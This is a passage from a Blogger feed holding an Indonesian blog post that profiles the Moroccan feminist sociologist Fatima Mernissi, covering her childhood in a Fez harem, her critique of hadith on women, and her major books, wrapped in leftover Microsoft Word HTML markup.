&lt;/o:p&gt;&lt;/p&gt;  </description><link>http://slendangwetan29.blogspot.com/2010/02/yaumul-marhamah-hari-kasih-sayang.html</link><author>noreply@blogger.com (SlendangWetan)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdSFFCokY5PXmkU5nfhX37w9wU0J9o_a33lUYqYfutw3S2ZUks2z4XhJxvd_rhUjeovCuUHjo0ptSX-dgAZiLg5wQLgaz9jLqUk0Xny8FsPqfW6WuPa_O99Miy26frEJNaEqNOQqPj7xo/s72-c/c.jpeg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2958933673326428512.post-1755449642373088463</guid><pubDate>Mon, 25 Jan 2010 23:07:00 +0000</pubDate><atom:updated>2010-01-25T15:13:49.826-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">kajian Tokoh Kontemporer</category><title>Fatima Mernissi</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNOjzOYhfBbUGRO0fX0bElfvhKuRl5QPTUQ-EN3EXr5zPGrFGLzdrVCDtzRAIFR-dmIcKH89sgMML6BmZxnO3uR30JYmeJkGjnOjCFz5UE7tFcTT7Q246hYzil8ULbxUH7B4hIc2G0do0/s1600-h/images.jpeg&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 94px; height: 117px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNOjzOYhfBbUGRO0fX0bElfvhKuRl5QPTUQ-EN3EXr5zPGrFGLzdrVCDtzRAIFR-dmIcKH89sgMML6BmZxnO3uR30JYmeJkGjnOjCFz5UE7tFcTT7Q246hYzil8ULbxUH7B4hIc2G0do0/s320/images.jpeg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5430819480122813810&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;meta equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&gt;&lt;meta name=&quot;ProgId&quot; content=&quot;Word.Document&quot;&gt;&lt;meta name=&quot;Generator&quot; content=&quot;Microsoft Word 11&quot;&gt;&lt;meta name=&quot;Originator&quot; content=&quot;Microsoft Word 11&quot;&gt;&lt;link rel=&quot;File-List&quot; href=&quot;file:///C:%5CDOCUME%7E1%5Croudloh%5CLOCALS%7E1%5CTemp%5Cmsohtml1%5C01%5Cclip_filelist.xml&quot;&gt;&lt;o:smarttagtype namespaceuri=&quot;urn:schemas-microsoft-com:office:smarttags&quot; name=&quot;City&quot; downloadurl=&quot;http://www.5iamas-microsoft-com:office:smarttags&quot;&gt;&lt;/o:smarttagtype&gt;&lt;o:smarttagtype namespaceuri=&quot;urn:schemas-microsoft-com:office:smarttags&quot; name=&quot;place&quot; downloadurl=&quot;http://www.5iantlavalamp.com/&quot;&gt;&lt;/o:smarttagtype&gt;&lt;o:smarttagtype namespaceuri=&quot;urn:schemas-microsoft-com:office:smarttags&quot; name=&quot;State&quot;&gt;&lt;/o:smarttagtype&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate=&quot;false&quot; latentstylecount=&quot;156&quot;&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if !mso]&gt;&lt;object classid=&quot;clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D&quot; id=&quot;ieooui&quot;&gt;&lt;/object&gt; &lt;style&gt; st1\:*{behavior:url(#ieooui) } &lt;/style&gt; &lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:&quot;&quot;; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:&quot;Times New Roman&quot;; 	mso-fareast-font-family:&quot;Times New Roman&quot;;} h2 	{mso-margin-top-alt:auto; 	margin-right:0cm; 	mso-margin-bottom-alt:auto; 	margin-left:0cm; 	mso-pagination:widow-orphan; 	mso-outline-level:2; 	font-size:18.0pt; 	font-family:&quot;Times New Roman&quot;; 	font-weight:bold;} p.MsoFootnoteText, li.MsoFootnoteText, div.MsoFootnoteText 	{mso-style-noshow:yes; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:&quot;Times New Roman&quot;; 	mso-fareast-font-family:&quot;Times New Roman&quot;;} span.MsoFootnoteReference 	{mso-style-noshow:yes; 	vertical-align:super;} a:link, span.MsoHyperlink 	{color:blue; 	text-decoration:underline; 	text-underline:single;} a:visited, span.MsoHyperlinkFollowed 	{color:purple; 	text-decoration:underline; 	text-underline:single;} p 	{mso-margin-top-alt:auto; 	margin-right:0cm; 	mso-margin-bottom-alt:auto; 	margin-left:0cm; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:&quot;Times New Roman&quot;; 	mso-fareast-font-family:&quot;Times New Roman&quot;;} p.msonospacing, li.msonospacing, div.msonospacing 	{mso-style-name:msonospacing; 	mso-margin-top-alt:auto; 	margin-right:0cm; 	mso-margin-bottom-alt:auto; 	margin-left:0cm; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:&quot;Times New Roman&quot;; 	mso-fareast-font-family:&quot;Times New Roman&quot;;} span.a 	{mso-style-name:a;}  /* Page Definitions */  @page 	{mso-footnote-separator:url(&quot;file:///C:/DOCUME~1/roudloh/LOCALS~1/Temp/msohtml1/01/clip_header.htm&quot;) fs; 	mso-footnote-continuation-separator:url(&quot;file:///C:/DOCUME~1/roudloh/LOCALS~1/Temp/msohtml1/01/clip_header.htm&quot;) fcs; 	mso-endnote-separator:url(&quot;file:///C:/DOCUME~1/roudloh/LOCALS~1/Temp/msohtml1/01/clip_header.htm&quot;) es; 	mso-endnote-continuation-separator:url(&quot;file:///C:/DOCUME~1/roudloh/LOCALS~1/Temp/msohtml1/01/clip_header.htm&quot;) ecs;} @page Section1 	{size:595.45pt 841.7pt; 	margin:72.0pt 90.0pt 72.0pt 90.0pt; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:&quot;Table Normal&quot;; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-parent:&quot;&quot;; 	mso-padding-alt:0cm 5.4pt 0cm 5.4pt; 	mso-para-margin:0cm; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:10.0pt; 	font-family:&quot;Times New Roman&quot;; 	mso-ansi-language:#0400; 	mso-fareast-language:#0400; 	mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;    &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;&lt;strong&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Agama selalu bisa dimanipulasi &lt;/span&gt;&lt;/strong&gt;SATU kepedihan membuat Mernissi menggugat kedudukan perempuan dalam Islam. Nyeri itu muncul, saat dia remaja, dan mendengar hadits yang dibacakan gurunya: “Anjing, keledai dan perempuan akan membatalkan salat seseorang apabila mereka melintas di depan, menyela antara orang yang salat dan kiblat.”&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;“Perasaan saya amat terguncang mendengar hadits semacam itu, saya hampir tak pernah mengulanginya dengan harapan, kebisuan akan membuat hadits ini terhapus dari kenangan saya. Saya selalu bertanya, bagaimana mungkin Rasullullah mengatakan hadits semacam ini, yang demikian melukai saya… Bagaimana mungkin Muhammad yang terkasih, bisa begitu melukai perasaan saya, gadis cilik, yang di saat pertumbuhannya, berusaha menjadikan dia sebagai pilar-pilar impian romatisnya,” aku Mernissi dalam &lt;em&gt;Wanita dalam Islam&lt;/em&gt;.&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftn1&quot; name=&quot;_ftnref1&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:12;&quot;  &gt;[1]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;Sejak kecil, Mernissi memang telah terlibat dengan pemikiran keislaman, dan melontarkan pertanyaan-pertanyaan yang liar. Ia misalnya menggugat batas antara lelaki dan perempuan. Kalau disepakati ada batas, katanya, kenapa hanya pihak perempuan saja yang dibatasi dan ditutupi. Di mana keadilan itu?&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;Tak heran, akibatnya, hubungan Mernissi dan agama menjadi begitu ambivalen. Di rumah, melalu neneknya, Yasmina, ia diajarkan agama secara indah, puitis dan bersahabat. Di sekolah, ia diajarkan al-Quran dengan cara yang keras. Ia harus menghapal ayat, dan jika salah, bentakan dan pukulan selalu menderanya. Agama baginya jadi sesuatu yang mengerikan. Tak heran, ajaran neneknya tentang perjalanan haji, keindahan Mekkah dan Madinah, nikmatnya bergegas meninggalkan arafah dan Mina untuk menginap di Madinah, amat mengobati luka itu. Obsesinya pun muncul untuk melihat dan menikmati &lt;st1:place st=&quot;on&quot;&gt;&lt;st1:city st=&quot;on&quot;&gt;kota&lt;/st1:city&gt;&lt;/st1:place&gt; Nabi tersebut.&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;Dua cara didikan ini membuat Mernissi mengganggap agama Islam sangat tergantung pada bagaimana perspektif dan penerimaan kita terhadapnya. Ayat suci bisa menjadi gerbang melarikan diri atau hambatan yang tak bisa diatasi. Al-Quran bisa menerbangkan ke alam mimpi, atau pelemah semangat belaka. &lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;strong&gt;Dewasa di penjara harem&lt;/strong&gt;&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;Fatima Mernissi lahir di &lt;st1:city st=&quot;on&quot;&gt;&lt;st1:place st=&quot;on&quot;&gt;Fez&lt;/st1:place&gt;&lt;/st1:city&gt;, Maroko, 1940. Ia tinggal dan dibesarkan dalam sebuah harem bersama ibu dan nenek-neneknya, serta saudara perempuannya. Harem itu dijaga ketat seorang pejaga pintu, yang mengawasi mereka agar tak meninggalkan “penjara” itu, dan digembirakan beberapa pelayan.&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;Nenek Mernissi, Yasmina, adalah istri kakeknya, dengan sembilan wanita lain. Tapi, nasib buruk itu tak menimpa pada ibu Mernissi. Ayahnya, seorang nasionalis Maroko, menolak poligami.&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;Berbeda dari ibunya yang tak bisa membaca, Mernissi yang lahir di saat kaum nasionalis berhasil mengusir Prancis, mendapatkan hak untuk bersekolah. Meskipun tinggal di harem, ia dapat mengenyam pendidikan yang tinggi. Semua kisah Mernissi di harem, bersama keluarga besarnya, hasrat mereka untuk menikmati kebebasan, dan kegembiraan melihat dunia luar meskipun hanya dari lubang kunci, dia gambarkan dengan indah –sekaligus pedih– dalam bukunya, &lt;em&gt;The Harem Within&lt;/em&gt;. &lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;“Jangan bayangkan harem hanya berada di dalam istana (imperial), karena harem yang saya tinggali adalah harem kelas biasa (domestik), yang tak bergelimang dengan kemewahan,” tulisnya. Tapi, Mernissi tetap berhasil mendapat gelar di bidang politik dari Mohammed V University di Rabat, Maroko, dan gelar PhD dari Universitas Brandels, Amerika pada tahun 1973. Disertasinya, &lt;em&gt;Beyong the Veil and Male Elite&lt;/em&gt; menjadi rujukan kepustakaan Barat untuk melihat posisi perempuan Maroko.&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftn2&quot; name=&quot;_ftnref2&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:12;&quot;  &gt;[2]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;Karya-karya Mernissi memang sarat dengan gugatan yang bersumber dari pengalaman pribadinya. Ia pun dengan rajin meriset apa pun yang mengganggu paham keberagamaannya. Pelacakannya terhadap &lt;em&gt;nash-nash&lt;/em&gt; suci Quran dan hadis membuat kritik Mernissi begitu terasa tajam. Ia misalnya, melacak perawi hadits sampai tingkat yang terkecil, dan meneliti riwayat hidup perawi tersebut, dan membongkar kecacatan hadits itu. Baginya, amat mustahil Rasullulah Muhammad sampai memosisikan perempuan dalam kedudukan yang serendah itu.&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;Tafsir alternatif Mernissi yang amat terkenal tajam dapat terlihat dari dua bukunya, &lt;em&gt;The Forgotten of Queen in Islam&lt;/em&gt; dan &lt;em&gt;Islam and Democracy&lt;/em&gt;, yang keduanya telah diterjemahkan ke bahasa Indonesia, &lt;em&gt;Ratu-Ratu Islam yang Terlupakan&lt;/em&gt;, oleh Mizan, 1994, dan &lt;em&gt;Islam dan Demokrasi: Antologi Ketakutan&lt;/em&gt; oleh LKIS, 1994. &lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftn3&quot; name=&quot;_ftnref3&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:12;&quot;  &gt;[3]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;Mernissi menunjukkan, kekurangan pemerintahan Arab bukanlah karena UUD mereka tak Islami, tapi karena para pemimpinnya menafsirkan agama berdasarkan kepentingan mereka. Mernissi menunjukkan, betapa agama dengan sangat mudah dapat dimanipulasi. Karena itu aia percaya, penindasan terhadap perempuan adalah semacam tradisi yang dibuat-buat, bukan murni ajaran Islam. Makanya, tak ada keraguan bagi feminis ini untuk menggugat hal tersebut dalam bukunya, &lt;em&gt;Rebellion’s Women and Islamic Memory&lt;/em&gt;.&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;Sebagai seorang sosiolog, Mernissi bahkan bergerak dalam wilayah yang amat luas. Ia misalnya, amat konsern pada masalah hijab. Hijab baginya hanya pembatasan ruang publik bagi seorang perempuan. Hijab juga berarti pemisahan antara penguasa dan rakyat, sebagai citra kekuasaan mutlak dunia lelaki atas perempuan. Kenapa hijab menjadi agenda Mernissi? Karena hidup dia dan keluarganya, amat menderita oleh praktik hijabisasi itu.&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;Mernissi juga menjelaskan secara sosiologis batas-batas seksualitas perempuan Maroko, dan bagaimana &lt;em&gt;hidden transcript&lt;/em&gt; masyarakat menunjukkan perlawana hal itu. Bukunya yang berasal dari disertasi, dan beberapa buku penelitian yang lain, adalah representasi –juga perlawanan– yang sangat baik tentang persoalan perempuan di dunia Islam pada umumnya. Dan tampaknya, sampai kini, Mernissi tak berniat akan pernah berhenti.&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftn4&quot; name=&quot;_ftnref4&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:12;&quot;  &gt;[4]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p class=&quot;msonospacing&quot; style=&quot;text-align: justify; text-indent: 36pt; line-height: 150%;&quot;&gt;Fatima Mernissi tidak menafikan pentingnya faktor ekonomi dan politik dalam sebuah negara --untuk menentukan nasib kaum wanita khususnya. Tetapi, ada masalah yang lebih penting lagi, yaitu &quot;discourse tentang wanita&quot; yang telah diciptakan oleh sosio-budaya Arab. Menurut Mernissi, diskursus wanita yang berlaku dalam komunitas Arab telah dibentuk sedemikian rupa oleh budaya dominasi lelaki. Dan dengan dominasi itu, perempuan selalu ditempatkan dan dipandang negatif --dari perspektif apa saja.&lt;a name=&quot;r87&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftn5&quot; name=&quot;_ftnref5&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:12;&quot;  &gt;[5]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; Mernissi tidak meletakkan seluruh beban pada negara. Ia lebih menyalahkan struktur sosial yang telah menyengsarakan nasib wanita. Yang dimaksud dengan struktur sosial, menurutnya, juga doktrin dan ajaran agama yang menjadi salah satu fondasi penting sebuah masyarakat. Mernissi tidak sepenuhnya percaya dengan sekelompok elit pemikir (kaum tradisionalis?) yang turut membicarakan persoalan perempuan. Bahkan ia menganggap diskusi-diskusi di sekitar turats sebagai omong kosong. Menurutnya, &quot;perdebatan di sekitar turats tidak lebih dari cara baru kaum lelaki meraih kembali dominasinya atas wanita&quot;.&lt;a name=&quot;r88&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftn6&quot; name=&quot;_ftnref6&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:12;&quot;  &gt;[6]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p style=&quot;text-align: justify; line-height: 150%;&quot;&gt;Mernissi memandang turats secara negatif. Ia percaya bahwa model masa lalu (al-madli) tidak lagi memadai untuk konteks modern. Itu karena ia meyakini bahwa persoalan yang dihadapi masyarakat Arab sekarang sangat kompleks.&lt;a name=&quot;r89&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftn7&quot; name=&quot;_ftnref7&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:12;&quot;  &gt;[7]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; Kendati demikian, bukan berarti Mernissi sepenuhnya berpegang pada capaian modernitas. Dalam banyak tulisannya, dengan keras ia mengecam Barat. Model feminisme yang dikembangkan Barat, menurutnya, hanya melahirkan diskriminasi terhadap perempuan dengan bentuk lain.&lt;a name=&quot;r90&quot;&gt;&lt;/a&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftn8&quot; name=&quot;_ftnref8&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:12;&quot;  &gt;[8]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;      &lt;p style=&quot;text-align: center; line-height: 150%;&quot; align=&quot;center&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;div style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;  &lt;hr size=&quot;1&quot; width=&quot;33%&quot; align=&quot;left&quot;&gt;  &lt;!--[endif]--&gt;  &lt;div style=&quot;&quot; id=&quot;ftn1&quot;&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftnref1&quot; name=&quot;_ftn1&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:12;&quot;  &gt;[1]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;span class=&quot;a&quot;&gt;www.suaramerdeka.co.id&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;&quot; id=&quot;ftn2&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftnref2&quot; name=&quot;_ftn2&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:10;&quot;  &gt;[2]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;&quot;&gt;  &lt;/span&gt;&lt;i&gt;Ibid&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;&quot; id=&quot;ftn3&quot;&gt;  &lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify; line-height: 150%;&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftnref3&quot; name=&quot;_ftn3&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:12;&quot;  &gt;[3]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; &lt;span class=&quot;a&quot;&gt;&lt;a href=&quot;http://www.waspada.co.id/index2.php?option=com_content&amp;amp;do_pdf=1&amp;amp;id=7132&quot;&gt;&lt;span style=&quot;text-decoration: none; color: rgb(0, 0, 0);&quot;&gt;www.waspada.co.id/index2.php?option=com_content&amp;amp;do_pdf=1&amp;amp;id=7132&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;&quot; id=&quot;ftn4&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftnref4&quot; name=&quot;_ftn4&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:10;&quot;  &gt;[4]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; www.suaramerdeka.co.id&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;&quot; id=&quot;ftn5&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftnref5&quot; name=&quot;_ftn5&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:10;&quot;  &gt;[5]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; F. Mernissi, Al-Dimuqratiyyah ka Inhilal Khuluqi, hal. 57; Hisham Sharabi, Theory,&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;&quot; id=&quot;ftn6&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftnref6&quot; name=&quot;_ftn6&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:10;&quot;  &gt;[6]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; Politics and the Arab World. &lt;st1:place st=&quot;on&quot;&gt;&lt;st1:state st=&quot;on&quot;&gt;New York&lt;/st1:state&gt;&lt;/st1:place&gt;, 1990, hal. 41&lt;/p&gt;  &lt;/div&gt;  &lt;div style=&quot;&quot; id=&quot;ftn7&quot;&gt;  &lt;p class=&quot;MsoFootnoteText&quot;&gt;&lt;a style=&quot;&quot; href=&quot;http://www.blogger.com/post-edit.do#_ftnref7&quot; name=&quot;_ftn7&quot; title=&quot;&quot;&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;&quot;&gt;&lt;!--[if !supportFootnotes]--&gt;&lt;span class=&quot;MsoFootnoteReference&quot;&gt;&lt;span style=&quot;;font-family:&amp;quot;;font-size:10;&quot;  &gt;[7]&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt; 